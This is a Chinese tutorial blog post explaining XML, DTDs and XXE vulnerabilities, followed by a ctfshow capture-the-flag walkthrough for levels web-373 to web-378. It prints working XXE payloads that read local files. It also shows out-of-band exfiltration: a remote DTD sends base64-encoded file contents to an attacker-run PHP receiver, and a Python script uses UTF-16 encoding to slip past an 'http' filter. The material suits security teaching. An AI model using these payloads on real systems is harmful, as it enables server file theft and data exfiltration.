XXE以及实例

XXE漏洞讲解

一、基础概念

                          

1、XXE

XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。

XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容。

2、XML
1)基础概念

XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台和跨语言的特性。

XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据 XML 标签没有被预定义。您需要自行定义标签 XML 被设计为具有自我描述性 XML 是 W3C 的推荐标准

XML 是不作为的

XML具有以下特点:

  1. 可扩展性:XML允许用户自定义标签和数据结构,因此可以适应各种不同的应用领域和需求。

  2. 自我描述性:XML文档具有自我描述性,标签和属性可以提供关于数据的含义和结构的信息。

  3. 平台和语言无关性:由于XML采用纯文本格式,因此可以在任何操作系统和编程语言中解析和处理。

  4. 可读性:XML文档使用具有可读性的标记和缩进,易于理解和阅读。

XML常用于数据交换和存储,尤其在Web服务、配置文件、数据传输和文档的表示中广泛应用。它提供了一种通用且灵活的方式来组织和传输结构化数据。

2)组成

在 XML 中,元素(Element)、属性(Attribute)和实体(Entity)是构成 XML 文档的基本组成部分。它们的作用和特点如下:

  1. 元素(Element)

    • 元素是 XML 文档中的基本组成单位,用于表示文档的结构和内容。

    • 元素由开始标记、结束标记和内容组成。开始标记和结束标记之间的内容是元素的内容。

    • 元素可以包含子元素,形成层次结构。

    • 例如,在 <book></book> 之间的内容就是一个元素,表示一个书籍。

  2. 属性(Attribute)

    • 属性用于提供有关元素的附加信息。

    • 属性必须出现在元素的开始标记中,以键值对(key-value pair)的形式表示。

    • 属性的值必须使用引号括起来,可以是单引号或双引号。

    • 例如,在 <book isbn="123456789"> 中,isbn 是属性,123456789 是它的值。

  3. 实体(Entity)

    • 实体用于表示 XML 文档中的特殊字符、常用文本片段或外部资源。

    • 实体可以是内部实体(Internal Entity)或外部实体(External Entity)。

    • 内部实体使用文本直接定义,外部实体引用外部文件。

    • 例如,< 表示小于号 <> 表示大于号 >,这些都是预定义的实体。

3)结构

XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。例如:

<!--文档类型定义-->
<!DOCTYPE note [    <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>    <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>                   <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>                 <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>                 <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>                 <!--定义body元素为"#PCDATA"类型-->
]]]>
​
<!--文档元素-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>  #根元素
    <to>Dave</to>  #接下来4行描述根的4个子元素(to,from,head以及body)
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>  #根元素结

在上面的示例中,<note>是起始标签,</note>是结束标签。<to><from><head>body是子标签,它们包含了相应的数据。

4)语法规则

XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。 XML 允许创作者定义自己的标签和自己的文档结构。

  1. 所有的 XML 元素都必须有一个关闭标签

  2. XML 标签对大小写敏感

  3. XML 必须正确嵌套

  4. XML 属性值必须加引号

  5. 实体引用

  6. 在 XML 中,空格会被保留

3、PCDATA 会被解析器解析的文本

PCDATA 是 XML 中的一个术语,表示“Parsed Character Data”(解析的字符数据)。在 XML 中,PCDATA 指的是文本节点中包含的可解析字符数据,即文本内容。PCDATA 可以包含普通的文本字符,但不能包含标签或实体引用。

举例来说,考虑以下 XML 片段:

<book>
  <title>XML Programming</title>
  <author>John Doe</author>
  <description>XML is a markup language used for encoding structured data.</description>
</book>

在这个例子中,<title><author><description> 元素中的文本内容就是 PCDATA。例如,<title> 元素中的文本“XML Programming”以及 <description> 元素中的文本“XML is a markup language used for encoding structured data.” 都是 PCDATA。

4、CDATA 不会被解析器解析的文本

CDATA 是 XML 中的一个术语,表示“Character Data”(字符数据)。在 XML 中,CDATA 块是一种特殊的文本块,用于包含任意文本数据,包括标签和特殊字符,而不需要进行转义处理。

CDATA 块以 <![CDATA[ 开始,以 ]]> 结束,其中包含的文本数据不会被 XML 解析器解析,而是被视为纯文本。这意味着在 CDATA 块中可以包含 XML 标签、实体引用等,而不会导致解析错误。

举例来说,考虑以下 XML 片段:

<message>
  <![CDATA[<p>Hello, world!</p>]]>
</message>

在这个例子中,<![CDATA[<p>Hello, world!</p>]]> 是一个 CDATA 块,其中包含了一个 <p> 标签和文本内容“Hello, world!”。由于这部分文本被包含在 CDATA 块中,因此不会被 XML 解析器解析为 XML 标签,而是作为纯文本输出。

5、DTD

DTD(Document Type Definition,文档类型定义)是一种用于定义 XML 文档结构的规范。它定义了 XML 文档中元素、属性、实体等的合法结构,并且可以用于验证 XML 文档的有效性。

1)DTD的声明

在 XML 中,DTD可以以内部声明(Internal DTD)或外部声明(External DTD)的形式存在。它们的区别在于 DTD 的定义是直接包含在 XML 文档中还是保存在单独的外部文件中。

内部声明:

  1. 内部声明是直接在XML文档中定义的DTD。

  2. DTD的声明位于XML文档的文档声明中,使用'<!DOCTYPE>'标记定义。

  3. 内部声明将DTD的定义与XML文档的内容结合在一起,因此DTD的定义直接出现在XML文档中。

  4. 内部声明的语法类似于以下实例:

<!DOCTYPE 根元素 [元素声明]>
​
实例:
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部声明:

  1. 外部声明将 DTD 的定义保存在单独的外部文件中。

  2. 在 XML 文档中使用 <!DOCTYPE> 声明来引用外部 DTD 文件,使用 SYSTEM 关键字指定 DTD 文件的位置。

  3. 外部声明使得 XML 文档与 DTD 的定义分离,可以在多个 XML 文档中共享和重用同一个 DTD 定义。

  4. 外部声明的语法类似于以下示例:

<!DOCTYPE 根元素 SYSTEM "文件名">
​
实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 
note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2)实体

DTD实体

  • 用于定义引用普通文本或特殊字符的快捷方式的变量

  • 分为内部实体和外部实体

  • 也可分为一般实体和参数实体

1、内部实体:

<!ENTITY eviltest "eviltest">
​
实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
​
<test>&writer;&copyright;</test>

2、外部实体:

  • 从外部的 DTD文件中引用

  • 对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)

实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

3、一般实体:

  • 引用实体的方式:&实体名

  • 在DTD 中定义,在 XML 文档中引用

实例:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

4、参数实体:

  • 引用实体的方式: % 实体名(这里面空格不能少)

  • 在 DTD 中定义,并且只能在 DTD 中使用 % 实体名引用

  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体

  • 和通用实体一样,参数实体也可以外部引用

  • 在 Blind XXE 中起到了至关重要的作用

实例:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;
3)作用
  • 通过 DTD,每一个 XML 文件均可携带一个有关其自身格 式的描述。

  • 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来 交换数据。

  • 应用程序也可使用某个标准的 DTD 来验证从外部接收到的 数据。

  • 还可以使用 DTD 来验证自身的数据。

6、XXE漏洞的利用
1)有回显读取文件
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT |
LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
?>
抓包发送
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<H3rmesk1t>
<ctfshow>&xxe;</ctfshow>
</H3rmesk1t>
​

2)无回显读取文件(这个是究极重点!!!)
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT |
LIBXML_DTDLOAD);
}
?>

无回显的文件读取,要进行外带

抓包发送
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-
encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://你的公网
ip/xxe.xml">
%remote;
%send;
]>

在服务器放置 xxe.php 和 xxe.xml 两个文件

<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时
间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM
'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

得到的内容进行base64转码即可

二、ctfshow-XXE

做题前需要知道每关的flag都放在flag这个文件里。

web-373
代码
<?php
error_reporting(0);  //设置错误报告级别,将错误报告关闭,即不会输出错误信息。
libxml_disable_entity_loader(false);//启用实体加载器。实体加载器是一个用于加载 XML 文档中的实体(Entity)的功能。在这里,将实体加载器启用。
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);
分析

$xmlfile = file_get_contents('php://input');:从 PHP 输入流中获取 POST 请求发送的 XML 数据,并将其存储在 $xmlfile 变量中。

if(isset($xmlfile)){ ... }:检查是否成功接收到 XML 数据。

$dom = new DOMDocument();:创建一个 DOMDocument 对象,用于处理 XML 文档。

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);:加载 XML 数据到 DOMDocument 对象中,并启用外部实体加载。通过设置参数 LIBXML_NOENT | LIBXML_DTDLOAD,禁用了实体扩展,并允许加载外部 DTD。

$creds = simplexml_import_dom($dom);:将 DOMDocument 对象转换为 SimpleXMLElement 对象,以便于简单地处理 XML 数据。

$ctfshow = $creds->ctfshow;:从 SimpleXMLElement 对象中获取名为 ctfshow 的元素的内容。

本关代码会echo $ctfshow,所以本关是有回显的,我们就可以用有回显读取文件的方式来做。

我们通过代码可以知道本关是通过&ctfshow这个变量来输出内容的,所以我们就可以通过在ctfshow这个元素里设置我们想要查找的内容,并将其上传就可以得到我们想要的东西了。

<!DOCTYPE test [                   //开始了一个DTD的声明,名字为test。
<!ENTITY dingzhen SYSTEM "file:///flag">   //定义了一个叫做dingzhen的实体,并且将该实体指向了flag文件。
]>
<xuebao>     //根目录
<ctfshow>&dingzhen;</ctfshow>  //子目录
</xuebao>

XML 实体声明允许在 XML 文档中引用外部实体,它们通常用于重复使用和参数化 XML 内容。

在这段代码中,DTD被用作外部实体引用。当这个DTD被引用时,实体xxs会被展开,它的值是file:///flag,表示要读取主机上的flag文件。

因此,如果这个 DTD 被成功引用并且 XML 解析器对实体引用进行了展开,那么将会尝试读取主机上的 flag文件。

这也就是xxe漏洞利用的基本原理。

之后抓包即可:

web-374
代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 
分析

我们发现这关和上一关相比没有明显的输出函数以及判断条件了。

所以传入的xml中就要完成这个功能

在做无回显读取文件的关卡前,我们需要自己创建一个服务器,因为我们需要通过服务器来上传文件。(服务器操作系统CentOS)

之后在我们创建的服务器上安装宝塔服务器运维面板,它可以帮助我们在服务器上安装Linux系统,帮助我们更好地进行服务器操作(当然,你要是很厉害也可以直接用代码安装,不需要宝塔的帮助)我们需要通过它来完成创建文件,上传文件等操作。

具体的部署宝塔的操作啥的自己看教程。

前置事项完成后我们正式开始:

1.首先创建一个xxe.php文件,内容:

<?php 
file_put_contents("flag.txt", $_GET['file']) ; 
?>

这段代码的意思是接收一个名为file的GET传参,并将其写入到flag.txt的文件中。(如果文件不存在,则会自动创建)

2.之后再创建一个xxe.xml文件,内容:

<!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://你的服务器ip/xxe.php?file=%file;'> ">
%dtd;
%xxe;

这段代码定义了一个% dtd实体,它的值是一个名为xxe的实体的声明,而这个实体的值是一段字符串,其内容是将服务器中名为file的参数发送到xxe.php文件中。

&#x25; 是实体的引用,表示百分号 % 的 Unicode 字符编码,也就是% xxe

%dtd;: 这行代码使用了之前定义的 %dtd 参数实体,将其展开为实际的实体声明。这样就定义了一个名为 xxe 的实体。

%xxe;: 这行代码使用了之前定义的 xxe 实体,将其展开为实际的 HTTP 请求。这样就能得到file参数并将其发送到xxe.php文件中。

也就是说,这段代码的用途就是将file参数发送到xxe.php文件中,之后就能通过xxe.php文件将其放入flag.txt文件中了。

在 XML 中,实体引用的形式可以是 %(十六进制)或 %(十进制),两者都表示字符 ‘%’ 的实体引用。

使用 % 的形式,如 %dtd; 和 %xxe;,是一种特殊的实体引用,被称为参数实体引用。参数实体引用以 % 开头,后面跟着实体名称。在定义参数实体时,可以使用 % 开头的实体引用来引用其他实体。

需要注意的是,对于一般的实体引用,如 % 或 %,可以在 XML 文档中的任何位置使用,而不仅限于参数实体引用的定义中。但是,参数实体引用只能在 DTD 的定义部分使用。

总结起来,使用 % 的形式是参数实体引用的一种特殊用法,用于引用其他实体。而一般的实体引用可以使用 % 或 %,两者都表示字符 ‘%’ 的实体引用。在具体使用时,可以根据需要选择合适的实体引用形式。

(这里有一个问题,chatgpt回答说定义实体时,为了确保解析器能够正确解释 XML 结构,所以一般都在%和实体名称之间添加空格,可是我向%dtd%xxe添加了空格,结果却得不到flag.txt文件了。)

3.之后抓包并构建payload:

<!DOCTYPE flag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.xml">
%aaa;
]>
<root>123</root>    

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">: 这行代码定义了一个名为 file 的参数实体,其值是通过 php://filter 将指定文件内容进行 Base64 编码后的结果。这里指定的文件是服务器上的 /flag 文件。

<!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.xml">: 这行代码定义了一个名为 aaa 的参数实体,其值是我们服务器中创建的xxe.xml文件。

之后通过展开%aaa实体来访问xxe.xml文件。

这段代码的目的就是将/flag文件中的内容用base64编码后放入到file实体中,这样就可以通过xxe.xml文件将file参数放到xxe.php文件中,再通过xxe.php文件将其放入到flag.txt文件中,这样我们就得到一个名为flag.txt的文件,里面的内容就是经过base64编码后的flag。所以我们最后再用base64解码即可得到本关的flag。

web-375
代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
分析

本关代码和上关类似,就多了一个正则匹配过滤,将xml和version1.0过滤掉了。这里的version1.0指的是XML文档中的版本声明,版号为1.0。

所以本关我们要将xxe.xml改为xxe.dtd

payload改为:

<!DOCTYPE flag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.dtd">
%aaa;
]>
<root>123</root>    

web-376
代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    
分析

和上关类似,就正则匹配这里多了一个/i表示大小写不敏感匹配。

用上关的payload即可。

web-377
代码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    
分析

在原来的基础上又过滤了http

这里采用utf-16编码绕过。

前面的方式不变,发送请求时使用python进行编码后发送,python中写(pycharm中要安装requests库):

import requests
​
url = 'ctfshow靶场的url地址'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://你的服务器ip/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web-378
分析

本关给了一个登陆界面,我们随便输入账号密码来抓包看看

发现抓包后有回显,这说明本关是最基础的有回显xxe漏洞,我们根据直接构造payload即可:

<!DOCTYPE test[
<!ENTITY dingzhen SYSTEM "file:///flag">
]>
<user>
<username>&dingzhen;</username>
<password>123456</password>
</user>

  • 30
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值